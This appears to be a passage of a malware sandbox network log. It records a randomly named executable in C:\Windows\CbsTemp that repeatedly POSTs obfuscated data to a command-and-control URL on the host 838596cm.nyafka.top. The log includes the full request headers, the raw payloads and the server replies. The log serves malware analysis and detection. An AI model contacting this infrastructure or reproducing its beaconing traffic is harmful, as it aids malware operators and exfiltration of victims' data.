Jan 8, 2025 17:13:41.049567938 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:41.395169973 CET	2528	OUT	Data Raw: 50 57 5e 51 5c 5d 53 5f 5e 5f 57 54 56 5e 59 5d 57 50 58 5c 50 5e 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW^Q\]S_^_WTV^Y]WPX\P^V_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(Y'#?-=/?.9Z8=]3(:Q?((?#"-9/#_&'P-
Jan 8, 2025 17:13:41.511847973 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:41.763473034 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qd4Cd7P78uiTNqGz96fTdFJWhVhl6UByBmuTsUZzbZl5qtiKibeW5ce9qxPj%2FDZgm%2Bnpgufi0o92DWjO35LBIOYc%2BtT%2Flv75v2zkQreebyDJvGAhPB2jA7Y0dLUrS0H7Z4IhvqXx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79ee2f050f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2908&min_rtt=1594&rtt_var=3227&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=120551&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50039	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:41.906088114 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:42.254654884 CET	2532	OUT	Data Raw: 50 50 5b 54 59 5d 56 5d 5e 5f 57 54 56 5f 59 52 57 51 58 59 50 54 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PP[TY]V]^_WTV_YRWQXYPTV^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ <0$#==/'4>.%Z;%3+?0(/<!=#_-#_&'P-#
Jan 8, 2025 17:13:42.355143070 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:42.676043987 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AXX5dnQHx1%2BnHQXX3QxqGS9Ea6vw8%2FGfdJFana%2BmiycEIc16qTVlU5bLcze8hGtvrGPlc5JtUvGmMyvaS0Fn3VlBdmRoUf7FbHd2ofqFbVLqQku3FnB8ZFYosaKllD0ZAH0H%2FP1X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79f36a76c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8504&min_rtt=1785&rtt_var=14108&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=26286&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50040	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:42.807399035 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:43.161109924 CET	2532	OUT	Data Raw: 50 52 5b 52 5c 5c 56 5b 5e 5f 57 54 56 56 59 53 57 52 58 5e 50 58 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR[R\\V[^_WTVVYSWRX^PXV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X(83'>>>%X,B?[====']1<10=/8!='9?#_&'P-
Jan 8, 2025 17:13:43.281111956 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:43.441318989 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qpDb1FobZAdIOnEQ1GAVT%2FyCuW1osLlW3YFI4TKRdp6kv4cMiu%2B7X%2B0t2msC%2FHth3QETQsNrzRpgodnotXeAZTv3ZB8Rx6Pb6UhSrgyDuwzLY2gkIX3JTWLZeoRCYyZ1uivJ9D4C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79f93a5743b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4065&min_rtt=1645&rtt_var=5458&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=69494&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50041	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:43.580101967 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50042	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:43.901947975 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1816 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:44.254393101 CET	1816	OUT	Data Raw: 55 53 5b 50 59 59 56 59 5e 5f 57 54 56 5e 59 59 57 57 58 5b 50 54 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: US[PYYVY^_WTV^YYWWX[PTV][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ^< %#>[=![8$$)%Z=8']-<0<(Y5>',?#_&'P-+
Jan 8, 2025 17:13:44.579574108 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:44.806180000 CET	956	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3hxmUwxJTB%2Fdl2wd8MeYiT1mXAzvhdHM4OgXstlyMjwkwhcuuqBEbtK0pBwFd0VFC%2FKIUBXjVV69VeBWKgbfa8qdUElCGZc%2FHbNmfbkCJjeMjDWykHivrRRahdpmBtOljPd66vYi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a01387543b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88299&min_rtt=66898&rtt_var=40373&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2165&delivery_rate=21824&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0f 27 03 23 00 22 3b 3e 09 28 39 23 5b 2a 0a 2d 03 2e 29 24 59 26 24 30 5c 26 2c 2b 03 20 06 25 13 3f 38 31 12 33 08 30 57 3c 3b 20 5c 04 1f 24 5e 2b 38 0f 57 29 3f 26 5d 33 33 25 59 25 1d 28 1e 26 03 20 04 27 29 03 0c 20 17 30 0f 3b 0a 3d 0e 3a 06 33 04 2b 09 30 5b 24 2e 2f 50 0f 10 3b 0c 3a 3a 38 03 21 57 3e 53 35 23 23 58 23 1b 3c 10 3f 3d 28 09 35 01 3e 05 33 33 1c 0a 34 21 20 0f 33 0d 05 5b 3e 22 37 0b 3c 19 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98''#";>(9#[*-.)$Y&$0\&,+ %?8130W<; \$^+8W)?&]33%Y%(& ') 0;=:3+0[$./P;::8!W>S5##X#<?=(5>334! 3[>"7<$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50043	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:44.062858105 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:44.410681009 CET	2532	OUT	Data Raw: 55 52 5b 52 59 58 56 5d 5e 5f 57 54 56 5a 59 58 57 55 58 5f 50 58 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UR[RYXV]^_WTVZYXWUX_PXV^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(03***,4?]?=9=(!\&+P(23\=#"'.#_&'P-7
Jan 8, 2025 17:13:44.671133041 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:44.914907932 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pn0IzmfbjZlCbAhFHqd6dvtoEk4JQt0kc3fWDq06ydvP9i%2FQcemMgWSL5BF04vr3cpkHJFOjjDsK1Ja7kqz2zuabdxQfpTE6AwZe%2BdfalybbekX2qJpPZ9R9CiSDqjW%2FXDqc1isg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a01ebfec34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17016&min_rtt=11748&rtt_var=14943&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=27088&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50044	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:45.070105076 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:45.427131891 CET	2532	OUT	Data Raw: 55 54 5e 55 59 59 56 5e 5e 5f 57 54 56 5b 59 53 57 5e 58 5d 50 5a 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT^UYYV^^_WTV[YSW^X]PZV][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +;(03:Z>[);7/[)=;*0;-(!;]>?(6[']-?#_&'P-3
Jan 8, 2025 17:13:45.546869993 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:45.783973932 CET	798	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pFOYay97koE34QxBspn9ENNQgkTT7Wfyai36IDII4bEIMXh57GhCn7KvL4JHnSEUtSNeCV8gDccUDxi4FGlxAK7EVAYCXMLhXWdlIdCYPlKx48FsyGmdypJbCvEgMkXQI6LC8v90"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a076c3c0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3937&min_rtt=1599&rtt_var=5277&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=71889&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50045	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:46.199260950 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:46.551325083 CET	2532	OUT	Data Raw: 55 57 5b 55 59 50 56 58 5e 5f 57 54 56 5c 59 5a 57 56 58 52 50 5d 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UW[UYPVX^_WTV\YZWVXRP]V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+8%3!/46>%\0)<"8*4[ =$.#_&'P-/
Jan 8, 2025 17:13:46.685350895 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:46.851871967 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7jRYQp4s8eNUcCTej8Dkgy40EEv3m1YgOV9QrhOvm%2BB2PwFiQNbnT4KjC59iK3X7r%2FeoosrhNte%2FGxa3KY53Mxc7b5Obq27stg27ZsaHXAhpA5AinSm3GGkTAdwrs9mYOCdfbwGZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a0e789c729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12371&min_rtt=7844&rtt_var=11996&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=33134&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50046	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:46.987838030 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:47.332536936 CET	2532	OUT	Data Raw: 55 5d 5e 51 5c 5f 53 5f 5e 5f 57 54 56 5f 59 53 57 57 58 52 50 58 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U]^Q\_S_^_WTV_YSWWXRPXVX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +]%0.)=\/7Z.5>5$(>R?1 (!$./#_&'P-#
Jan 8, 2025 17:13:47.653321028 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:47.653419018 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DXyJx2wbYlIxEd94htbT5S5brBC%2Fc1yilrTj7NE%2BdlI8EZTAnpHbEal17s7bu0%2FbWhp2I6j24YQHfWHq25uBsb8tIotg6DWMkvhAkLavqvDLj2R7rLomjrkh9yJ5QKF3vZbMMZo2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a13881c729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3906&min_rtt=2008&rtt_var=4549&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=84923&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50047	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:47.788569927 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:48.146728992 CET	2532	OUT	Data Raw: 55 50 5b 52 59 5c 56 5d 5e 5f 57 54 56 5b 59 5f 57 50 58 52 50 5e 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP[RY\V]^_WTV[Y_WPXRP^VY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ++X'9)),$,=.9\)]"08=(";)!>?-/#_&'P-3
Jan 8, 2025 17:13:48.231604099 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:48.475284100 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGk9JUhuTirIKg8NoV3h8ZRpe1TNR55Pe6aFaMsEcro3cwDGMOvpSA8vRZxTevkSp1l6L4wzjpsGYoPMCZhvMNGkgCvwxO%2FK6YmCykxkXQ8OLfy6SK5G%2BMweIXYtBzhCS1HEON38"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a182bb643b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2446&min_rtt=1567&rtt_var=2346&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=169708&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50048	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:49.078306913 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:49.426655054 CET	2532	OUT	Data Raw: 50 51 5e 52 59 50 56 52 5e 5f 57 54 56 5c 59 58 57 53 58 5c 50 5b 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ^RYPVR^_WTV\YXWSX\P[VY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +8+^%#!*=2;+X=5\=85X0;P)"'_=45.8.#_&'P-/
Jan 8, 2025 17:13:49.560324907 CET	25	IN	HTTP/1.1 100 Continue
